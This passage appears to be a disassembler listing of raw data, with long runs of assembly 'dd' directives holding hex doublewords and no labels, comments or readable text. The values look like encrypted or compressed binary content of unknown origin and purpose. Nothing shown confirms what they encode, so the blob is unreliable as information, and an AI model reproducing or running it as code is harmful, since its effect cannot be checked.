		dd 179067EFh, 0B4E2D186h, 804B7FDFh, 30D9B2C5h,	0A981F298h
		dd 3A3B31EEh, 82B88812h, 9F48FECBh, 1897C34Ah, 955202A5h
		dd 6494DEC6h, 2FADBAC7h, 0E920887Bh, 98D0804Eh,	0CF592568h
		dd 540F7E09h, 82B95F57h, 937E955h, 68B8A96Bh, 16263BF2h
		dd 0F501E402h, 4EA7697Eh, 52880C80h, 0E9894CB1h, 0B3EE1EC0h
		dd 0BD27EF24h, 808626Ah, 0E7DE3FC1h, 62E7273Ah,	62F9DEEFh
		dd 0C25BA6ACh, 15B592BDh, 4A570C88h, 12BA7BFh, 1F745E94h
		dd 2197C01h, 0B6805F0Ch, 0BB22DDB8h, 97F7792Ch,	0D3C40413h
		dd 70BA8745h, 527921AFh, 8850FCB2h, 0E55CD472h,	0CCE4B4BDh
		dd 594140A3h, 51953CF2h, 4906681Ah, 833D3DD9h, 3E337DEAh
		dd 6ED40021h, 0E9265573h, 22CD0D53h, 4C8062F7h,	167A9BE3h
		dd 0EC14B0Ch, 1EB82BADh, 28B3F3F4h, 20A93D2Ch, 4802BC46h
		dd 0B4AA392Dh, 0C9C7C17Fh, 0DCF00005h, 5E306A70h, 0FDC128BEh
		dd 0F77429E9h, 36070A68h, 0C71433Fh, 471BD68Ah,	7CFB0B7h
		dd 0C7CDC00Bh, 0E25F2196h, 1644E29Dh, 2EACC198h, 2852AE1Bh
		dd 6D08E591h, 0D0291435h, 4ED1F510h, 9D360F90h,	24867D54h
		dd 9098B54Fh, 0E8C18014h, 0DEC83118h, 68083005h, 2E942C17h
		dd 0D9C0C349h, 7588463Ah, 792F397Ch, 0B2149292h, 40E9C4C2h
		dd 0F84A0DA0h, 1A110CF2h, 0F50C57CDh, 6B493616h, 68393007h
		dd 0B791821Bh, 0B522ECF8h, 0C802C529h, 75F91B84h, 4B79F22Fh
		dd 0CCFB9BEh, 0F85EF729h, 490E0434h, 0C2C70125h, 720936F4h
		dd 11D9964h, 715A0E67h,	7CD8EEE9h, 12C28007h, 0D126CA30h
		dd 9F67408h, 0AFE95366h, 68EC59F8h, 0F94A054Ah,	0D9AFF028h
		dd 45DA52BCh, 0B23DE918h, 901FE56Fh, 0B692885Fh, 5ACEF410h
		dd 0F6F280FBh, 0F5402807h, 0AF9C95EBh, 0A8277C41h, 7B9C6810h
		dd 991791ECh, 5E00F5F0h, 44293BE1h, 0A6CA4801h,	6660841h
		dd 81EE8640h, 0E4327464h, 0F7A88A5Ch, 37D5E5E5h, 520208ACh
		dd 3562C067h, 77B5C0FFh, 6D763805h, 4FD0A0D0h, 8103400Ch
		dd 4C3870CBh, 0BE09F692h, 58FC0664h, 0C36D958Fh, 0FCDE40ADh
		dd 43E93974h, 0EDFDF218h, 5931E0CAh, 0EB71B4BBh, 3E68000h
		dd 7EEC007h, 0A98ECEFEh, 230E5737h, 0C818E922h,	14AD8871h
		dd 0BD55020Ch, 6C2F4AEBh, 0B9A3C1h, 4B7A685Dh, 508D2203h
		dd 0CD7004C2h, 3E908680h, 0B715D294h, 3F2F7592h, 0AD5B8Ah
		dd 53B67146h, 0D926C181h, 33BF679h, 5A0FC7F1h, 7EC9E005h
		dd 15E50475h, 54C8B8E9h, 2D735802h, 0F9748949h,	3FC36B3Eh
		dd 0F4C09810h, 2431FA40h, 9A7A362h, 0C7C422E1h,	8BB660Fh
		dd 0B378850Eh, 0F5F751ACh, 0B8AD4198h, 0F0A14B7Ah, 7F6B3540h
		dd 5DFFE20Dh, 0F505D504h, 2C313BAEh, 6839B6E9h,	526AC22Dh
		dd 0A17307D5h, 0BB6690FAh, 35C8BD3Fh, 63A09D19h, 8C3EC859h
		dd 5AD593AEh, 0C47FD414h, 38FB53DEh, 4D27685Fh,	57671839h
		dd 71298151h, 0E9C6ED08h, 0BD8050B4h, 24251D8Dh, 0CD710016h
		dd 40897193h, 1B168A78h, 62AC6F08h, 0CDE09E14h,	1CF009DEh
		dd 0EB93F256h, 13588E8Ch, 0B9626168h, 8556A240h, 41E1AFCFh
		dd 2559E3ECh, 39D09C2Ch, 689EE4E9h, 0F130C931h,	1D6CC7E1h
		dd 0D0FEE5E7h, 5D966804h, 45099BBDh, 906FF393h,	9441E93Bh
		dd 80B2F197h, 0D3F0BE6h, 687E5650h, 374F0416h, 2C936680h
		dd 2F4B4585h, 0BB1086E3h, 2CAC0E42h, 0B594E51h,	3B8CE3D8h
		dd 215DE80Ch, 80790E10h, 12E951B2h, 0FBE89F2Fh,	0BFC625B7h
		dd 2D5D1EACh, 0D9F3CDF9h, 19ED650Bh, 6A6316Dh, 0A430C473h
		dd 0CF61350Bh, 15F8683Dh
		dd 0CBA5876Eh, 20C1F720h, 30078107h, 3EC778F9h,	3A90E6E4h
		dd 0BF5EF531h, 4721A2E0h, 7A651C48h, 9E534EB7h,	0D8ECDA73h
		dd 64847C4Fh, 0E9C978AEh, 2EEF9D55h, 1B017352h,	68734B4Fh
		dd 0B6501320h, 88C281F3h, 42305AD3h, 77F45BB6h,	60B75362h
		dd 0FA7B006h, 640CC8FEh, 0B52C8F63h, 0D504DCB1h, 56966028h
		dd 76B26295h, 1A5DF29Fh, 22CF04C3h, 58A28FBCh, 0B6A199ECh
		dd 3F2E23A5h, 4B8A1F66h, 0E3C00413h, 0FC20055Bh, 0FD2CE1D9h
		dd 5F590740h, 2BAE355h,	7D2B66BEh, 10FC02Dh, 0F07FE681h
		dd 9044F73Bh, 0C46E7DF5h, 0E19481DFh, 0D9276F92h, 55B8A484h
		dd 0B112B25Bh, 2D3AE0D3h, 0C144C60Ah, 0E4995A2Fh, 1FD5FA07h
		dd 4C477976h, 0BF1AD34Dh, 10784AA2h, 0D0F74817h, 2AAE5E00h
		dd 9731237Ah, 4FCDCF60h, 4F6E7997h, 0FB0CB384h,	64307C32h
		dd 9DB0953h, 83800288h,	92B7A740h, 2C85D995h, 0BCB6E40Dh
		dd 0EBC116EAh, 0E5C32F00h, 98FBA32Dh, 0B4E297BFh, 491EB47Dh
		dd 472EC80Eh, 322002B2h, 0B9876CF7h, 0A7A90235h, 0E530015Ch
		dd 0B2DD029h, 4FA63C64h, 7D4DCA06h, 0E0F100EDh,	5FB0194Bh
		dd 3B175C49h, 68510220h, 3B530C77h, 102C5905h, 1ACA7B13h
		dd 4E3166F0h, 5394206Ch, 7E2DE954h, 2386EB7h, 3110E8C1h
		dd 0E97850C8h, 0BD2F730h, 0A028F4E9h, 137CE573h, 0E35A125Ch
		dd 2E90DB7h, 0DC202423h, 8C4E5EC4h, 0B405570h, 0EFCD09BBh
		dd 9F2F151h, 9B886A25h,	545217CBh, 0E9F65Dh, 9C12CEC5h
		dd 98CD012Eh, 30455B15h, 0FB6456EAh, 0D1416701h, 2D96E9E1h
		dd 7E4DCB4Ah, 50301FCEh, 2A1EB1BDh, 0B2C87A14h,	0CBA01A8h
		dd 0E8137315h, 0E89DF54Bh, 98E888FFh, 5C2390C8h, 3C2DD5FDh
		dd 9A10F2BAh, 5D811E49h, 59CA8681h, 2E4D7E6Bh, 7731FE80h
		dd 0E90B16A1h, 9DED00Ch, 6DF2F028h, 6CF9B34Ah, 0B91ED0D2h
		dd 67344CDCh, 0F800EA55h, 29A87AE6h, 101E4FE9h,	0AD4CDDC3h
		dd 810E8734h, 812204C0h, 0C78FC6A9h, 233AA0D8h,	3098B6DCh
		dd 0E639D120h, 1D1F1D81h, 0B20A9B26h, 0F0C9701Ah, 27BD9846h
		dd 256B31CBh, 0D4644CBAh, 4D1A60BFh, 42FE0003h,	25B5CA81h
		dd 0CC24869h, 4066569Dh, 82CE6C44h, 442EA25Dh, 0EC5C0585h
		dd 0E0F9CB37h, 5814F52h, 0A13B62E7h, 159E820Fh,	0A6505307h
		dd 3D46F502h, 7D82CB81h, 0D3F77EC9h, 2A08DF41h,	0B72816A1h
		dd 0FDFBF60Bh, 60A45D66h, 0BB7F0560h, 4B400176h, 556DE125h
		dd 6366EED2h, 38FA74h, 685257D5h, 3A0B9A1h, 5675A5Ah, 0C0841FA2h
		dd 82CD2290h, 0FF349A5Fh, 0C4154205h, 8F50EB5Bh, 16714808h
		dd 6F23F28h, 82D7F040h,	1CF02D50h, 5D10D267h, 8CA0F7E5h
		dd 9A17F842h, 3FF7B48Dh, 0E516FA13h, 0EE577A8Eh, 0A9B273C1h
		dd 0A676800h, 5A0195B8h, 13D3EA81h, 0B770402Fh,	0B9428A01h
		dd 5E43EAE2h, 0BD7F7260h, 5B3D7EE3h, 0B704079h,	29597544h
		dd 0FDBE6ABDh, 68FD7F21h, 0DA28410Ah, 862F2217h, 5EFC5456h
		dd 35C2B3CCh, 70EF2283h, 8CA8E981h, 68C389A8h, 3B5E9D26h
		dd 4ADF10C2h, 6A8E7530h, 7681B893h, 9F8D38F3h, 0E952226Dh
		dd 0BF555807h, 5206ED0Fh, 293943E7h, 1822C8FBh,	2F0B414Bh
		dd 1E9B9719h, 13D1E8DDh, 2B9490B3h, 43199DBBh, 1F3A8868h
		dd 76C81DC5h, 0B5ED59EDh, 1868BF9Ah, 657C4568h,	5520799Bh
		dd 6F2C2E3Ch, 44434BE9h, 8359F508h, 0DDA09C9h, 599D5F70h
		dd 62E96F31h, 5592820h,	38582BDBh, 2DD81457h, 295B1E07h
		dd 69005712h, 19487AA9h, 0E9F70C89h, 0C271EB78h, 0D3F40C0Bh
		dd 3F8FDE2Bh, 5E983912h, 0BCCE5284h, 26E440C1h,	0A6B16EC0h
		dd 0EA59CB88h, 0D92834FAh, 0A915C19Fh, 9EDF28BEh, 0D965321Fh
		dd 2D62A886h, 0B04A55B0h, 86906C14h, 538F9525h,	8CA5BD39h
		dd 5F5DB681h, 91F02052h, 255B0501h, 7C45EB81h, 0FB4028CDh
		dd 58F060B0h, 0FC051D09h, 0BA065FE9h, 0FEC9B12h, 277B2E48h
		dd 8B204BC8h, 30413E77h, 97EAF3FBh, 2C92A350h, 44BD9590h
		dd 92325C1h, 4052C27Eh,	281EA631h, 34A22C2Fh, 0EB18243Dh
		dd 97531E98h, 3BC650Ch,	4CDA3A39h, 6E640088h, 3BE92572h
		dd 8E909140h, 799BCA68h, 6D273F83h, 2F27F8E7h, 24016EF7h
		dd 2B5AD028h, 0B3EF899h, 9540B24Ch, 0A53C968h, 0B80950C6h
		dd 1B125E07h, 5521CE81h, 0D03F718Bh, 0FA6E878Dh, 0D62D0478h
		dd 4BF353h, 1A92116h, 8A0CE181h, 0D2300354h, 71D57F0Bh
		dd 951CB829h, 1CA12858h, 21C20435h, 1FC84F6h, 165399B0h
		dd 93097B7h, 0EBC34BD3h, 50559F30h, 7E483185h, 84F0A138h
		dd 5DB30FBEh, 45A5EA5Eh, 0ADE804E4h, 4652C9D1h,	9CE925B2h
		dd 56C3ADFEh, 0FF5DB255h, 0E9EEB201h, 0D8003FD9h, 0BF129D35h
		dd 0C309123Ah, 72284558h, 615E90E9h, 27674928h,	0A55D094h
		dd 0D056F80Bh, 72EFBFADh, 0D951E904h, 680C1CB2h, 541A761Eh
		dd 0C2998D2h, 0AC19B23Dh, 0DDE337C8h, 0F479E65Ch, 57072AAAh
		dd 0F7130768h, 0C4805F55h, 81B1188h, 4A87E91Fh,	0A52C763Eh
		dd 13474989h, 5C520F8h,	80D7F665h, 0BED013C7h, 0C5E99904h
		dd 0B84EF9BCh, 0C722D31Bh, 888B490Bh, 8FDB40FAh, 0F66880F8h
		dd 74C56118h, 9D1E9E16h, 93164FBAh, 2EAC7097h, 408377E9h
		dd 5B1F7CC5h, 18590E25h, 9DF9F663h, 0E3E985C8h,	84A3474Bh
		dd 0D8BA0DDDh, 63732008h, 0F9D6AB8h, 0F42A9A9h,	86BBA340h
		dd 682316FFh, 0DA400C2Fh, 5B89EA10h, 495C14A8h,	0E9C3B102h
		dd 0F21680BDh, 5B8DF921h, 627B453Eh, 124CB9D5h,	0DAA6CC10h
		dd 13AA2150h, 0BF4FAE39h, 0D08FB50h, 271BF6E9h,	16085282h
		dd 966148C2h, 880745F2h, 0F340263Bh, 0C6800E59h, 0F00F5B28h
		dd 0AB09E884h, 4FE8EE29h, 6859091Ch, 8F7C64B0h,	1CE8EA64h
		dd 2F042910h, 19E47253h, 0DF0B8BFBh, 84D07D5Bh,	0C1023B75h
		dd 0BBF00CE8h, 0DB49842Dh, 645B2D53h, 25C266C9h, 997C14F7h
		dd 0B76E94CBh, 5C6BB49Eh, 62CDF373h, 9A503EE9h,	3E6C003h
		dd 996CF680h, 68512EEh,	22F0304Ch, 0E48451F6h, 0D834FBA0h
		dd 0C9E9CAAEh, 69B892D3h, 76E8DE3Ch, 491B96D8h,	0A555749Ah
		dd 96E4F8D3h, 12EFE6A9h, 1DF72839h, 885A4FCAh, 0A01E5BECh
		dd 16F3302Dh, 35D62092h, 89595E05h, 0CF8C205Fh,	1F009FBFh
		dd 0A1B7840Fh, 50557AC0h, 14D15B8h, 2252281h, 43581C10h
		dd 60708E6h, 20B95103h,	843C7FA2h, 688101B6h, 8100DC42h
		dd 78B51FEFh, 545CA0A5h, 385BD9F8h, 2527F465h, 160AC8BDh
		dd 83EB31F6h, 3AB7242h,	7AC3C343h, 0A8644B32h, 5038FD6h
		dd 46B4C2D2h, 0F2304F02h, 0FC062E9Ah, 0C11E03A6h, 3BCFA408h
		dd 39DFFAA4h, 2C9B4384h, 0F2E2C05Fh, 4904F07Eh,	0C54FE98Ch
		dd 674A62B2h, 0A07FF41Bh, 9A2768E1h, 0E3D95E4Ch, 15B172B8h
		dd 0C28E4444h, 17D9D890h, 59A37A89h, 48183CE5h,	575B1A27h
		dd 68515200h, 70913AE6h, 0D1F70459h, 0AAC35DE9h, 6D6A3D9Dh
		dd 0FFB32F50h, 0B96CC4Dh, 0C6E37591h, 797E70A9h, 2A3406DFh
		dd 0AC7256h, 674DDE35h,	107EE929h, 68E6E1C1h, 0B32A2DC2h
		dd 21A71E37h, 0F5812F80h, 4B3605BCh, 7F74E15Bh,	9068DB20h
		dd 10312D0h, 5E2CAFEEh,	6E009FDAh, 0EB80C328h, 1206AB65h
		dd 8F512BFh, 521E4650h,	0B512391Eh, 5EBE4BA0h, 3CFFE4A8h
		dd 0C981F4A8h, 9975FA02h, 0E0414938h, 7A29863Fh, 0B2D909Ah
		dd 4007C578h, 0B42017D0h, 952D042Fh, 0BE603F73h, 0E3C1DD02h
		dd 0A1E4C104h
		dd 0ED50C8DCh, 3E374EF0h, 0C7F6A40h, 45A01A4Bh,	117E0E18h
		dd 0EB0C3E61h, 40EE91DCh, 3E6E1A78h, 0C73A4321h, 3B0373Ch
		dd 832C750Ch, 41806395h, 0CA10828h, 0A0202014h,	0B3DA20CBh
		dd 0B41A28E7h, 0C8AD1F5Bh, 0BD020DB7h, 80C7573Dh, 0BD9C5BCh
		dd 0C2285093h, 5A631312h, 16ADEC2Fh, 0D3C85655h, 17DF945Eh
		dd 9ABF929h, 5719B2E9h,	57553630h, 280DBF00h, 1DE975ECh
		dd 0BFE59D8Eh, 20D46625h, 4E9AA5BAh, 0D04F5507h, 0F3855B65h
		dd 75A00716h, 431A05FCh, 0A085E93Fh, 0D95DF63Eh, 97CD3DFEh
		dd 91930203h, 39BEB4B9h, 142C7A5Bh, 0F3835ECAh,	29899F59h
		dd 0ADEA7BD2h, 37ED3E09h, 501C311h, 175913B1h, 33BC245Dh
		dd 9574E980h, 0EE77DB5Ah, 4DB06326h, 5102A5BEh,	734EA78Ch
		dd 0A91EA025h, 0FB900334h, 1B88057Dh, 808204ABh, 7548FD4Eh
		dd 0ECF5615Ah, 2F5D0803h, 7F4C021Eh, 5AC88431h,	848E7CACh
		dd 2606AFBDh, 0CE0BD465h, 5C4B1856h, 1247Bh, 7E0B0C70h
		dd 1BBCC521h, 0D6D31689h, 2A661FBh, 0DAB03BEFh,	516A0232h
		dd 0E558E96Dh, 0B9FB2103h, 0CBA546AAh, 0FF6E4E89h, 0D8B55113h
		dd 697E9FA4h, 18C222C6h, 60160781h, 41803AFAh, 5CA872FDh
		dd 0A48BD53h, 0E910AE05h, 88F939D8h, 7B560B3h, 6719B450h
		dd 0AB6DA2AEh, 2997D572h, 3837F6Fh, 1B02EF84h, 0BC43E1C7h
		dd 0B897716h, 0C198A0D5h, 12717B4Fh, 223D35E9h,	66D0A043h
		dd 199043B2h, 0CA02E024h, 0A0C4D818h, 0F0F84F59h, 7513371Dh
		dd 8C024DDBh, 85D5F707h, 0B480739Fh, 0F747E95Dh, 9205616Dh
		dd 0C421FC3Ch, 957C2A6h, 0D3420F59h, 0A0602BD8h, 5801209h
		dd 22F53FD4h, 0B64029AFh, 991B0EEFh, 0C042F149h, 986C2A32h
		dd 429362A9h, 3C2D92Ch,	2E249474h, 0D2F6DC4Bh, 0BB043DD8h
		dd 1E436E90h, 0A84D02BEh, 825D255Fh, 0F3EA7524h, 0D9B0BD49h
		dd 5AD60171h, 282E5B9Fh, 0BE65928Ch, 5F2942D1h,	3CC047E9h
		dd 0C10C62C1h, 0F9280291h, 0CB0BB676h, 0E2131059h, 6098B7C5h
		dd 0F682F265h, 0B4C864A9h, 0D041E296h, 5B0F883Fh, 457E3804h
		dd 141F4C01h, 0E9850C6Ch, 5287D7F2h, 0E0C97AD4h, 504D023Ch
		dd 44B6BFDBh, 760A429Fh, 7846E93Fh, 3E03FA81h, 7A68D780h
		dd 709AB73Dh, 0AD51C55Dh, 0BAAE2065h, 3F9D963h,	0FBAFBF98h
		dd 4D78E18h, 722FA3F1h,	86911A5Fh, 0CA5116Ah, 61F62646h
		dd 0E72D2EB6h, 884631C3h, 48176BC7h, 0EC0C528h,	0B35305E2h
		dd 7DA3E962h, 4DCCD39Ah, 897739Ah, 251A2E3h, 99E9090Ah
		dd 6D51C9B4h, 0C03A3335h, 98403180h, 1C5E657Ch,	60FB5BC5h
		dd 1EF8BB36h, 1CCB15Ch,	83EBD1D3h, 2F7801C3h, 518F1469h
		dd 9623D62h, 48551A62h,	17DD01C5h, 88C12EE9h, 0FA5EBACFh
		dd 0C380F7A2h, 84E4854h, 0B9B2215Bh, 178DEE10h,	0D9BD875Ah
		dd 51652C92h, 20BCE912h, 64C628FAh, 24C1EB0h, 0D47D27EDh
		dd 93A56896h, 0D5410753h, 9D80993Fh, 0AA0E54F2h, 80ACE0BDh
		dd 0D80902CEh, 0BFE9D389h, 7601A3ABh, 6BFA43ACh, 67BC0001h
		dd 0C42A7CFBh, 0B78F8013h, 695C8F7Ah, 0BE9165Bh, 0AABAD442h
		dd 0F7EA602Eh, 8F5995DAh, 55784218h, 88212575h,	0AF5C5AE2h
		dd 1DC47D5Ah, 6884A594h, 0DBFE423Ch, 0F43F16B6h, 2E8639F2h
		dd 475B16CBh, 0BE566580h, 5C3209F6h, 11750140h,	0F57C55D6h
		dd 7A1462Ch, 326992BDh,	3161F289h, 505801BFh, 0D3291EDCh
		dd 4FE4B82Ah, 0CB01BCF1h, 81889310h, 2BE01EFh, 1B4D8768h
		dd 8005578h, 2AF56A08h,	8A4AE97Dh, 7CE18D89h, 0C674407Eh
		dd 4FA539C4h, 0A2BE17F6h, 1632BCB9h, 2FC78A2h, 0D047B392h
		dd 35B505F8h, 47B0C8E9h, 4268125Fh, 93D38C34h, 0EE26414h
		dd 709F01A4h, 0DDF7128Ch, 5EAB6691h, 0A39B19C2h, 0FAC786A3h
		dd 1602FCDDh, 75640042h, 911C04Fh, 0C47184B5h, 215832F8h
		dd 0F8130225h, 0C0A752D9h, 28CEEF31h, 58DBF828h, 0DBE13980h
		dd 81AEC99Dh, 40E91CF1h, 0FC886A3Fh, 18823B98h,	0A659EB2Fh
		dd 5CDD4D19h, 206D87Bh,	0A8E9138Ch, 0E039FC1Bh,	73B4EB80h
		dd 40FE9828h, 0F90CB3ADh, 1E06E3C0h, 70C1E676h,	75D978D5h
		dd 825B4AE9h, 71E1C8E5h, 0FF0484h, 7247B6E5h, 0F74A3160h
		dd 0F22590E6h, 0D6212982h, 27504D7Dh, 0E958417Ch, 5EBF9A9Fh
		dd 0EC5035Fh, 0D6326A59h, 2BE85529h, 0DAAE2ED3h, 0A5424117h
		dd 7F289B68h, 39FDC598h, 0A43BE980h, 417097DAh,	2F6CF106h
		dd 127456FAh, 0FE6D50C2h, 32A9D00h, 53097C87h, 621072F1h
		dd 8632603Bh, 17E854Bh,	0F681FB8h, 48F03146h, 28C14818h
		dd 527E591Ah, 2C5CF13Bh, 8BE98F8Bh, 1FF153B5h, 586D2C01h
		dd 6D4C2868h, 531D390h,	0D37DC394h, 56496D04h, 3D9AB954h
		dd 0B86417E8h, 0D8139AE9h, 7BEDE798h, 5A144832h, 0B0AF4C5Bh
		dd 0C5FC4AF4h, 9B30AB4Eh, 183B652h, 86A8B450h, 85C3FEDCh
		dd 37C48008h, 8B90982h,	0EE01C283h, 7603BADEh, 0E4382328h
		dd 49400DBBh, 20F221BFh, 2B1B90BDh, 0F91002CBh,	1E807779h
		dd 4B763B4h, 26F6E730h,	5C12F9BAh, 7D0B5455h, 0BCAAE314h
		dd 49D9782h, 683E8066h,	18B75D59h, 2C80CF46h, 5CAF9C2h
		dd 1490E9A1h, 4D002472h, 5706090Ah, 0D5796856h,	0E96FD60Bh
		dd 5D48A4E5h, 7BAEBD80h, 5E407CD2h, 5A890408h, 6E88EF2Dh
		dd 92AC5986h, 3D52DD1Eh, 5895C433h, 80B1B2C0h, 9729EA3Eh
		dd 2F20CEEDh, 1EC90906h, 39C2016Ah, 21400851h, 4B896CF5h
		dd 177842Ah, 18119BA5h,	2022E7Eh, 487609E9h, 0BF38B380h
		dd 0DA00DD66h, 2942A066h, 5B5EF5h, 1F3FBF57h, 7FE923CAh
		dd 8481205Ch, 89F4EF90h, 734D005Ch, 32C12D77h, 12B892C2h
		dd 0D7F0D698h, 5EDD6225h, 3165031Bh, 0F1FB6EFEh, 57081C40h
		dd 9B74FFCh, 510C56DAh,	1A8F2B5Eh, 75A4E909h, 7325D2FBh
		dd 0E27EA625h, 5B80B4A0h, 31FB0FD3h, 58C52909h,	4354CA2Dh
		dd 0F82A2092h, 11E7E280h, 0F1214727h, 69ED6764h, 0BB01EFF9h
		dd 588714A5h, 830E857Fh, 131EA870h, 26320FE9h, 439E5489h
		dd 0C2A5F74Ah, 0B9F79h,	397E7707h, 0A113BA2Eh, 0D9288FFDh
		dd 0C7F3FEC6h, 1D0270BCh, 0D62F202Ch, 0EDAA6F7Eh, 89E62E0Ch
		dd 39571CB9h, 22EAD2AEh, 0A3552B48h, 3A8BD4Ah, 5EEDEB8Fh
		dd 73D93127h, 0D3523983h, 9E0CE57h, 0B1EA5AE9h,	0D8DC22A7h
		dd 59E956BDh, 51249D63h, 9D1B15C2h, 13C32912h, 4644FE5Fh
		dd 0CD8F301h, 40609855h, 0AD4866EDh, 0EC261696h, 16CECA34h
		dd 496EB84Ah, 0D5668956h, 74854190h, 685C1686h,	13EBEDEEh
		dd 5CBD8078h, 7C915215h, 8150D39Eh, 21EA216Dh, 8A14F245h
		dd 0B5B265BCh, 2B61FF43h, 10586EDh, 8C2C8000h, 0BBD9AD14h
		dd 32AC79C8h, 0B83A0502h, 6F99CC82h, 0B905BCE4h, 23867650h
		dd 7EF591AAh, 535CA779h, 0B3DF3ED7h, 21FBD38Ah,	8073F482h
		dd 1C68038h, 5A66F586h,	0EC380350h, 5BC0FC88h, 5898E508h
		dd 0C0D5F612h, 800A8918h, 19E35CC5h, 5C507A27h,	595BC375h
		dd 0E1925F1Dh, 95126884h, 340F58Dh, 69273876h, 0A2A1DC5Fh
		dd 9C6DE380h, 562D194Eh, 0F028C222h, 41D86277h,	94652DFAh
		dd 24FCE2D0h, 352E7FC6h, 0E6C304F5h, 0EBBF00ADh, 393DA36Eh
		dd 0E727EFD1h, 34FC5EC0h, 0E9B0885Fh, 40EE416Fh, 0F50CB0FAh
		dd 0A65DE19Dh, 9AEF1783h, 0ACBDF72Dh, 2ABB5113h, 0BD0C5CD6h
		dd 8257FCABh, 0D9E3F78Dh, 4CDEA505h, 32584E5Ah,	0E11D18E0h
		dd 34B67941h, 0D97F09C1h
		dd 7FD84059h, 0EB013E96h, 7B9238C5h, 880502Ah, 344D4B4Ch
		dd 277CA84Eh, 8195617Ch, 0B6B1DC6Eh, 0D0B850F2h, 555C0B9Fh
		dd 0AB98FBB6h, 594BB2BDh, 0FBE989D6h, 0FB82CBE2h, 5C04D7AEh
		dd 5550CEADh, 500317F9h, 1822B856h, 0E911FEC1h,	77E65BDCh
		dd 0F0B2B23Ah, 4F6003DCh, 4C88A1BFh, 8441A629h,	7396492Eh
		dd 0C84AE3FAh, 40383DE3h, 0BBF69AE4h, 84C2BB72h, 1D1CBF93h
		dd 82FAD5E3h, 564ABB02h, 7A700814h, 63096EFCh, 4B77AAh
		dd 233819E3h, 0B16B066h, 0EE7916F2h, 314AFAF0h,	13D333E2h
		dd 0F622FB50h, 0B72F8FDh, 5153DE87h, 0FC78B405h, 4CFE907Fh
		dd 80661091h, 0DFE68102h, 9C87CC21h, 0E8D4D5D6h, 0BAA34ECAh
		dd 0E5E98199h, 1C13400Fh, 187BDB71h, 7D05A34Fh,	3FC2CF30h
		dd 208E5A7Ah, 0D5F705ABh, 0EA7B808Ch, 127F6C1Fh, 1081EDD1h
		dd 164009ECh, 0A154E689h, 91ED5F58h, 227A5A24h,	584AE8B7h
		dd 0A3474C8Fh, 4122C350h, 0C22880F1h, 5F9946ECh, 4890B058h
		dd 1E382402h, 0E975EF02h, 744AA425h, 223B0699h,	0AEE203D8h
		dd 0D921EE40h, 1689AAC6h, 3582F931h, 81002D43h,	4C0ED4CDh
		dd 0F502914Fh, 5DE427DEh, 681A81F5h, 9A760DF8h,	48031804h
		dd 0C217C265h, 3B037C0Bh, 0FA345DF9h, 20C2012Ah, 0BE0C3A9Ah
		dd 884B36A3h, 0D20B953Bh, 0D7FC2F16h, 47B719BAh, 56884A4h
		dd 920DB96Fh, 8532FF6h,	0A020CE2Bh, 0C85A2DAFh,	95319BCCh
		dd 5EF7B79Bh, 6D3D61C6h, 13B87064h, 5DF0427h, 0A3218F12h
		dd 0F18D5AA6h, 53C0C07Ch, 0E96AB8BBh, 0AB42850h, 0E297682h
		dd 68A5384Fh, 3BC9ABC7h, 4F08B8F4h, 3179A13Bh, 0D701F52Dh
		dd 0E91A3362h, 87B97042h, 0B410139Bh, 5A5FD52Ah, 721A02E2h
		dd 0F9C2D987h, 0C0958487h, 0EA8335A1h, 0FBC2CDFBh, 946E0750h
		dd 75EF1FD2h, 8479BC51h, 8100CAF0h, 8434BBF6h, 90C2260h
		dd 133EC606h, 0A8A96BE9h, 0A0193E2h, 67CC0EE4h,	9E9677F8h
		dd 66028A78h, 0AA4DBAE2h, 998B1267h, 93BDDAF3h,	371EEE87h
		dd 0AFAB0F6Fh, 0ADACF35Dh, 7EDBC810h, 276DBE14h, 4BF335A2h
		dd 0F6A60EAh, 0BEA1C0B7h, 4112CAABh, 96686F7Bh,	33B40C9Eh
		dd 0DC58B530h, 0C03203EAh, 0B4FE05E5h, 0A6DAC1AAh, 8BF278E4h
		dd 3EDDFE5Eh, 3A08CF1Ah, 7402197Eh, 0B260D232h,	0AD9940A5h
		dd 469E2C1Bh, 0A285173Ah, 76680895h, 94F83E11h,	0EF280E1Ah
		dd 93F006EAh, 0AF601A5Ah, 6076C440h, 0AF47143Dh, 0F4FD0907h
		dd 9B43092Bh, 0F7425E76h, 72855E1Ch, 87226989h,	7F643C68h
		dd 0E6ADC62Fh, 456A0F9Ch, 0CEAB4BA6h, 2FBB50D4h, 0FB3E424Ch
		dd 0A1539857h, 0EF3CC058h, 0BCE39803h, 0B40A5465h, 1727603Fh
		dd 0EAF03E98h, 180FE917h, 0AD9C1FACh, 5893C55Eh, 0E97102EBh
		dd 65E8B7F3h, 622769B9h, 816E5648h, 32D166F7h, 0E6176A55h
		dd 9B413F8h, 79A019ABh,	5B3758F1h, 250C3160h, 8022C36Dh
		dd 8C0029ABh, 55515662h, 124F6857h, 6F3041h, 12AAEF67h
		dd 74C2239Bh, 0E01C3E96h, 8BFE8591h, 45902B2h, 0AB68694Fh
		dd 0F249DA6Ch, 0EA894A9h, 89E9CA31h, 5C4EAF78h,	0CC5A6FCAh
		dd 0CB4C2995h, 0DAB4B56Ch, 11B40EEh, 20B8FE4Ah,	7FF189A1h
		dd 21741584h, 0E9D342EEh, 1F4690BCh, 14B2B1F0h,	1EB6813h
		dd 4113F8A3h, 6D7668Ch,	154BEAF6h, 0FC4A60A6h, 0D9C993A9h
		dd 1269DF60h, 0AA3D31D6h, 3AA03216h, 0BCEEB26Eh, 0C48C736Ch
		dd 4E9DA823h, 0E9850B8Ah, 3C7DA4AAh, 0BDE62B5Eh, 0E90A06D1h
		dd 84D67513h, 0A233F568h, 0E9EB6117h, 0C324C080h, 5D580155h
		dd 81689545h, 3F438B75h, 16B157FEh, 4AC20819h, 6C6CC46Dh
		dd 0C8404243h, 468B0B35h, 900401D0h, 51051394h,	2CBEA4ACh
		dd 0BB500FB2h, 5A888C36h, 0E8DD4FF7h, 0D57D75EFh, 0E5ACE735h
		dd 4F53CAAFh, 69323DA7h, 41F06447h, 3CFA120h, 5753CA81h
		dd 65D912EAh, 0BA1680FBh, 4DF04991h, 24D261F7h,	6F71355Fh
		dd 0E5B0E07h, 0F2C02DB7h, 4A996EA0h, 0EFE9C06Ch, 1A4A0F90h
		dd 415DDFB0h, 84CC6A95h, 2EEB413Dh, 0CF895A8Ch,	0D5EB572Ch
		dd 0E1C17540h, 781073Ah, 40593966h, 0FEB471E2h,	0B2E56B3Ch
		dd 3A5F300h, 5EE93862h,	0AD67C329h, 5246C4B4h, 400BAA1h
		dd 9B14BF57h, 0A1A24EDCh, 5A5D68B6h, 7FFA50C1h,	0CA41314h
